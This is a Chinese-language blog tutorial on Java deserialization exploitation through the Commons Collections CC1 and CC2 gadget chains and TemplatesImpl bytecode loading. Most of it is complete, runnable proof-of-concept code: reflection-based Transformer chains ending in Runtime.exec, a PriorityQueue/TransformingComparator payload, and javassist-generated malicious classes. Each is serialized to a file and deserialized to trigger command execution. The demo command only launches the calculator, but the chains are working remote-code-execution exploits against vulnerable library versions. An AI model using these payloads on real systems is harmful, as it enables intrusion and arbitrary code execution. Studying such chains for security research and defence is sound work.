3570 字
18 分钟
CC1链&CC2链&TemplatesImpl反序列化利用

入门一下Java反序列化

前期准备: idea起一个Maven项目

Apache Commons Collections 提供了大量的集合类和实用工具,扩展了Java标准库的功能,使得集合操作更加高效和便捷。

CC1#

CC1要求的jdk版本在8u71以下且commons-collections <= 3.2.1,这里使用Index of java-local/jdk (huaweicloud.com)7u80版本进行复现 jdk装上后记得jdk8 sun包源码下载 与 idea 设置源码_sun jdk源码下载-CSDN博客sun也装了,在CC1中会用到

还要注意的是jdk1.7和jdk1.8的sun有些许不同

pom.xml配置:

<dependencies>  
    <!-- https://mvnrepository.com/artifact/junit/junit -->  
    <dependency>  
        <groupId>junit</groupId>  
        <artifactId>junit</artifactId>  
        <version>4.11</version>  
        <scope>test</scope>  
    </dependency>  
  
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
    <dependency>  
        <groupId>commons-collections</groupId>  
        <artifactId>commons-collections</artifactId>  
        <version>3.2.1</version>  
    </dependency>  
</dependencies>

流程#

首先,目标是命令执行,先看看Java下最简单的一个命令执行

Runtime runtime = Runtime.getRuntime();
runtime.exec("calc.exe");

如果是通过反射机制执行:

Class<?> runtimeClass = Class.forName("java.lang.Runtime");  
  
// 获取 getRuntime 方法  
Method getRuntimeMethod = runtimeClass.getMethod("getRuntime");  
  
// 调用 getRuntime 方法,获取 Runtime 实例  
Object runtimeInstance = getRuntimeMethod.invoke(null);  
  
// 获取 exec 方法  
Method execMethod = runtimeClass.getMethod("exec", String.class);  
execMethod.invoke(runtimeInstance, "calc.exe");

入口点: 当然是Transformertransformer接口有21个实现 CC1实现命令执行主要用的是InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {  
    this.iMethodName = methodName;  
    this.iParamTypes = paramTypes;  
    this.iArgs = args;  
}

这个方法可以通过反射的方法获取到指定对象

  • String methodName: 要调用的方法的名称。
  • Class[] paramTypes: 方法的参数类型数组。
  • Object[] args: 传递给方法的参数值数组。

transformer方法:

这里借助ChainedTransformer进行拼接去构造inputChainedTransformer可以创建一系列的Transfomer链式调用,最终达成Runtime.getRuntime().exec("calc.exe")的效果

如何获得Runtime对象? 在Runtime中有这样一个方法

public static Runtime getRuntime() {  
    return currentRuntime;  
}

所以可以通过getMethod()来获取到getRuntime()方法,进而可以调用exec 构造InvokerTransformer对象 而getMethod()方法可以通过Runtime的class对象获取(基础的反射知识) 所以这里会用到

public ConstantTransformer(Object constantToReturn) {  
    this.iConstant = constantToReturn;  
}

ConstantTransformer方法来获取到java.lang.Runtime ConstantTransformer实例的参数是类,则调用它的transformer方法会返回java.lang.Runtime

new ConstantTransformer(Runtime.class)

获取到Runtime的class对象

然后构造:

new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] })

(需要注意参数类型和参数值这两个参数要求是数组,new Class[0]表示该方法无需输入参数)

接下来需要用的invoke()去调用包装在当前Method对象中的方法,当getMethod这个InvokerTransformer对象处理完后会得到RuntimegetRuntime()方法,它的输出将会是下个Transformerinput,于是可以构造:

new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] })

同理以上,构造:

new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})

来实现命令执行

最终:

Transformer[] transformers = new Transformer[] {  
        new ConstantTransformer(Runtime.class),  
        new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),  
        new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),  
        new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})  
};  
 
Transformer transformerChain = new ChainedTransformer(transformers);
//这里将transformers这个数组存到ChainedTransformer的对象里

接下来的问题就是如何调用这个ChainedTransformer对象 有这样一个class:TransformedMap,其中会调用transform方法,且继承了java.io.Serializable,TransformedMap可以指定transform去修饰Map实例

//创建Map并绑定transformerChina  
Map innerMap = new HashMap();  
//为什么有这步?之后会写出来
innerMap.put("value", "value");  
//给予map数据转化链  
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

这里新建了一个innerMap实例,然后用TransformedMapdecorate方法修饰innerMapoutermap,当outerMap的值被修改时会自动应用transformerChain里的操作 所以这里也需要找个能修改Map的类 而AnnotationInvocationHandler类就可以做到这点

TransformedMap中的transformKeytransformValuecheckSetValue调用了transformer,但这些方法都属于protected,所以继续找会调用这些方法但属于public的另一些方法,于是有这么两个符合条件

接下来找个能调用transformKeytransformValuecheckSetValue的地方 全局搜一下,找到AbstractInputCheckedMapDecorator 它的setValue方法调用了checkSetValue

继续找谁调用了setValue AnnotationInvocationHandler: 它的readObject方法会调用setValue方法

找到方向了,于是构造反射获取AnnotationInvocationHandler类,获取其实例 AnnotationInvocationHandler的构造方法,需要两个参数,一个是继承Annotation的类,另一个是Map Map参数传入刚修饰完的outermap即可,这里继承Annotation的类用target target的返回值是value属性,且var5.getValue();这里调用了Value,所以需要innerMap.put("value", "value");Map中把Key改成value

最后得到

Class class_1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor class_1_con = class_1.getDeclaredConstructor(Class.class, Map.class);  
//设置构造函数的访问权限
class_1_con.setAccessible(true);  
Object instance = class_1_con.newInstance(Target.class,outerMap);

这里的instance就是AnnotationInvocationHandler的实例

模拟网络传输反序列化场景

//模拟网络传输  
FileOutputStream f = new FileOutputStream("payload.bin");  
ObjectOutputStream fout = new ObjectOutputStream(f);  
fout.writeObject(instance);  
  
FileInputStream fi = new FileInputStream("payload.bin");  
ObjectInputStream fin = new ObjectInputStream(fi);  
fin.readObject();
package www.orxiain.unser;  
  
import org.apache.commons.collections.*;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;  
  
import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.annotation.Target;  
import java.lang.reflect.Constructor;  
import java.util.HashMap;  
import java.util.Map;  
  
public class CC1 {  
  
    public static void main(String[] args) throws Exception {  
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),  
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),  
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})  
        };  
        //将transformers数组存入ChaniedTransformer这个继承类  
        Transformer transformerChain = new ChainedTransformer(transformers);  
  
        //创建Map并绑定transformerChina  
        Map innerMap = new HashMap();  
        //让key的值为value
        innerMap.put("value", "value");  
        //给予map数据转化链  
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);  
  
        Class class_1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor class_1_con = class_1.getDeclaredConstructor(Class.class, Map.class);  
        class_1_con.setAccessible(true);  
        Object instance = class_1_con.newInstance(Target.class,outerMap);  
  
        //模拟网络传输  
        FileOutputStream f = new FileOutputStream("payload.bin");  
        ObjectOutputStream fout = new ObjectOutputStream(f);  
        fout.writeObject(instance);  
  
        FileInputStream fi = new FileInputStream("payload.bin");  
        ObjectInputStream fin = new ObjectInputStream(fi);  
        fin.readObject();  
    }}

调用栈:

运行拿到计算器

CC2#

用的还是invoke

Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含一个 Java 类或接口。Javaassist 就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。

<dependencies>  
    <dependency>  
        <groupId>org.apache.commons</groupId>  
        <artifactId>commons-collections4</artifactId>  
        <version>4.0</version>   
    </dependency>  
  
    <dependency>  
        <groupId>org.javassist</groupId>  
        <artifactId>javassist</artifactId>  
        <version>3.22.0-GA</version>  
    </dependency>  
</dependencies>

如果跟我一样爆the trustAnchors parameter must be non-empty这个错,换个JDK就行了,原因好像是[OpenJDK中的JRE的默认信任库为空](异常:java.security.InvalidAlgorithmParameterException the trustAnchors parameter must be non-empty解决方案_caused by: java.security.invalidalgorithmparameter-CSDN博客),下载完依赖再换回去也可以

利用链 1#

在CC2中主要利用了PriorityQueue.readObject()这个方法

PriorityQueue类实现了序列化接口

PriorityQueue 是 Java 中的一个类,它实现了 Queue 接口,并且是一个基于优先级堆的优先级队列。与普通的队列(如 LinkedList)不同,PriorityQueue 中的元素是按照优先级顺序排列的,而不是按照先进先出(FIFO)的原则。

前面获取Runtime对象和命令执行的方法与CC1相同,都是通过Transformchain链起来的,但这里使用TransformingComparator这个修饰器将我们写的Transformchain修饰为一个Comparator对象,当PriorityQueue的一个对象传入comparator对象,PriorityQueue可以将它作为比较器,而TransformingComparator刚刚会调用transform方法,这不就巧了吗(摊手

PriorityQueue的构造方法

添加两个元素

queue.add(1);  
queue.add(2);

便会自动调用TransformingComparatorcompare方法,这个方法会调用transformer.transform方法,这里和CC1的TransformMap似曾相识。此时已经弹了两次calc,为什么这里就执行了? 接下来会说

之后添加模拟网络传输生成序列化代码保存到cc2.txt,然后读取它执行一次反序列化

try{  
    ByteArrayOutputStream barr = new ByteArrayOutputStream();  
    ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));  
    outputStream.writeObject(queue);  
    outputStream.close();  
    System.out.println(barr.toString());  
  
    ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));  
    inputStream.readObject();  
}catch(Exception e){  
    e.printStackTrace();  
}

再次运行,却发现命令执行两次,但反序列化没有执行 发现是queue.add(2);这里会报错 debug一下 add第二个元素后会调用TransformingComparatorcompare方法

public int compare(I obj1, I obj2) {  
    O value1 = this.transformer.transform(obj1);  
    O value2 = this.transformer.transform(obj2);  
    return this.decorated.compare(value1, value2);  
}

在这个方法的最后返回了this.decorated.compare(value1, value2) 再看一下compare 这里程序意外退出,说明return返回了0,导致后面的序列化代码没有生效 如何绕过呢?

实际上除了siftUpUsingComparator还有个siftUpComparable方法 二者调用的判断是通过siftUp这个方法 于是只要让comparator为空即可调用后者,也就是创建PriorityQueue的对象时先不传入Tcomparator

//      PriorityQueue queue = new PriorityQueue(1, Tcomparator); 
        PriorityQueue queue = new PriorityQueue(1);

这里已经绕过了半途退出,但这个方法不会调用comparator.compare,后面的命令执行也就无从谈起了

解法就是在queue.add添加完第二个元素后,通过反射获得对象然后将Tcomparator重新传入到queue

//获取java.util.PriorityQueue类的comparator字段
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
//设置可访问
field.setAccessible(true);
//传入queue对象的comparator参数
 field.set(queue,Tcomparator);

field 对象表示 PriorityQueue 类中的 comparator 字段,通过这个对象,你可以获取或设置 comparator 字段的值。

这样就可以正常反序列化执行了

POC#

package www.orxiain.unser;  
  
import org.apache.commons.collections4.Transformer;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.ChainedTransformer;  
import org.apache.commons.collections4.functors.ConstantTransformer;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.PriorityQueue;  
  
public class CC2 {  
    public static void main(String[] args) throws Exception{  
        Transformer[] transformers = new Transformer[] {  
                new ConstantTransformer(Runtime.class),  
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),  
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),  
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),  
        };  
  
        Transformer transformerChain = new ChainedTransformer(transformers);  
        TransformingComparator Tcomparator = new TransformingComparator(transformerChain);  
//        PriorityQueue queue = new PriorityQueue(1, Tcomparator);  
        PriorityQueue queue = new PriorityQueue(1);  
        queue.add(1);  
        queue.add(2);  
        //获取java.util.PriorityQueue类的comparator字段  
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");  
        //设置可访问  
        field.setAccessible(true);  
        //传入queue对象的comparator参数  
        field.set(queue,Tcomparator);  
  
        try{  
            ByteArrayOutputStream barr = new ByteArrayOutputStream();  
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));  
            outputStream.writeObject(queue);  
            outputStream.close();  
            System.out.println(barr.toString());  
  
            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));  
            inputStream.readObject();  
        }catch(Exception e){  
            e.printStackTrace();  
        }  
    }  
}

利用链 2#

在利用链2中用到了TemplatesImpl来进行反序列化,以此展开的就是TemplatesImpl反序列化的利用,涉及到Java的类加载机制javasist的使用,其核心是通过defineClass恶意加载字节码 获取一个类的字节码的方式这里有两个:

  1. 直接用javasist生成一个
  2. 新建一个类,然后用javasist把它导入为字节码 不管怎么说,先看看这TemplatesImpl是怎么利用的吧

TemplatesImpl反序列化利用#

利用链:

TemplatesImpl#getOutputProperties->TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass

TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass

TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass

TemplatesImpl中有一个TransletClassLoader的内部类,其继承了ClassLoader defineTransletClasses调用了它 在前面有个对_bytecodes的判断

private byte[][] _bytecodes = null;

_bytecodes就是之后会被加载的字节码,_bytecodes加载出来的类之后会被赋给_class

之后需要给_tfactory传个TransformerFactoryImpl的对象防止报错

private transient TransformerFactoryImpl _tfactory = null;

继续看谁调用了defineTransletClasses getTransletInstance调用了,这里需要过俩判断 _name可以通过反射改,而_class默认为null不用管 接下来的AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();_class进行了实例化加载,也是在这里执行了构造方法

为什么非得初始化呢? 因为类中的静态代码块需要进行到初始化步骤之后才能运行

跟到defineTransletClasses这里 在这里加载 这里还有个判断,如果该类的父类为ABSTRACT_TRANSLET就给_transletIndex赋值,_transletIndex在实例化类时用来指定_class的元素 所以在之后构造恶意EvilTemplatesImpl时需要让它继承AbstractTranslet

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {  
    _transletIndex = i;  
}

EvilTemplatesImpl

package www.orxiain.unser;  
  
import com.sun.org.apache.xalan.internal.xsltc.DOM;  
import com.sun.org.apache.xalan.internal.xsltc.TransletException;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;  
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  
  
import java.io.IOException;  
  
public class EvilTemplatesImpl extends AbstractTranslet {  
    static {  
        try {  
            Runtime.getRuntime().exec("calc");  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
    }  
    public EvilTemplatesImpl() {  
    }  
  
    @Override  
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  
  
    }  
  
    @Override  
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  
  
    }  
}

LoadEvil

package www.orxiain.unser;  
  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
  
import java.lang.reflect.*;  
  
public class LoadEvil {  
    public static void main(String[] args) throws Exception {  
        ClassPool classPool = ClassPool.getDefault();  
        CtClass ctClass = classPool.getCtClass("www.orxiain.unser.EvilTemplatesImpl");  
        //用javassist获取指定类的字节码  
        byte[] bytes = ctClass.toBytecode();  
  
        TemplatesImpl templates = new TemplatesImpl();  
        // 使用反射设置 _bytecodes 字段  
        Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes");  
        bytecodesField.setAccessible(true);  
        bytecodesField.set(templates, new byte[][]{bytes});  
  
        // 使用反射设置 _tfactory 字段  
        Field tfactoryField = TemplatesImpl.class.getDeclaredField("_tfactory");  
        tfactoryField.setAccessible(true);  
        tfactoryField.set(templates, new TransformerFactoryImpl());  
  
        // 使用反射设置 _name 字段  
        Field nameField = TemplatesImpl.class.getDeclaredField("_name"); 
        nameField.setAccessible(true);  
        nameField.set(templates, "seizer");  
        
        Method defineTransletClasses = TemplatesImpl.class.getDeclaredMethod("getTransletInstance");  
        defineTransletClasses.setAccessible(true);  
        defineTransletClasses.invoke(templates);  
    }  
}

运行LoadEvil就能拿到calc了

POC#

package www.orxiain.unser;  
  
  
  
import javassist.ClassPool;  
import javassist.CtClass;  
import org.apache.commons.collections4.comparators.TransformingComparator;  
import org.apache.commons.collections4.functors.InvokerTransformer;  
  
import java.io.FileInputStream;  
import java.io.FileOutputStream;  
import java.io.ObjectInputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.PriorityQueue;  
  
  
public class CC2_2 {  
    public static void main(String[] args) throws Exception {  
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";  
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";  
  
        ClassPool classPool=ClassPool.getDefault();//返回默认的类池  
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径  
        CtClass payload=classPool.makeClass("cc2");//创建一个新的public类  
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet  
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime  
        byte[] bytes=payload.toBytecode();//转换为byte数组  
  
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl  
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段  
        field.setAccessible(true);  
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组  
  
        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段  
        field1.setAccessible(true);  
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test  
  
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});  
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象  
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。  
        queue.add(1);//添加数字1插入此优先级队列  
        queue.add(1);//添加数字1插入此优先级队列  
  
        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段  
        field2.setAccessible(true);//暴力反射  
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator  
  
        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段  
        field3.setAccessible(true);//暴力反射  
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl  
  
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));  
        outputStream.writeObject(queue);  
        outputStream.close();  
  
        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));  
        inputStream.readObject();  
  
    }  
}

流程#

inputStream.readObject();断个点,开始看起 前面的不说了,从PriorityQueue.readObject开始,接下来调用了Heapify,siftDown 由于这里的comparator被反射放入,所以进入siftDownUsingComparator调用comparator.compare 此时obj2就是传入的templates this.transformer就是传入的transformer 这里的↓

之后跟进到invokertransfomer 这里的this.iMethodName传入了newTransformer 因为这里newTransformerv调用了getTransletInstance 这里图片上传出了问题,跟着步进就可以了

接下来就是读取字节的操作了,也就是上面的TemplatesImpl反序列化,一样的流程

(太喵了,这是怎么发现的啊😭😭😭🥵🥵🥵taiqiangle

Links#

高质量 & 参考

CC1:

Java安全反序列化之CC1链的分析与利用 - 先知社区 (aliyun.com) Java反序列化研究 - Boogiepop Doesn’t Laugh (boogipop.com) CC1链详解 - 林烬 - 博客园 (cnblogs.com)

CC2:

Java安全之Javassist动态编程 - nice_0e3 - 博客园 (cnblogs.com) javassist使用全解析 - rickiyang - 博客园 (cnblogs.com) 通俗易懂的Java Commons Collection 2分析 TemplatesImpl利用链分析 - seizer-zyx - 博客园 Java类加载过程 - seizer-zyx - 博客园 https://tyskill.github.io/posts/javatemplatesimpl/ 老大难的 Java ClassLoader 再不理解就老了 - 知乎

CC1链&CC2链&TemplatesImpl反序列化利用
http://orxiain.life/posts/java反序列化cc1cc2templatesimpl反序列化利用/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-10-28
许可协议
CC BY-NC-SA 4.0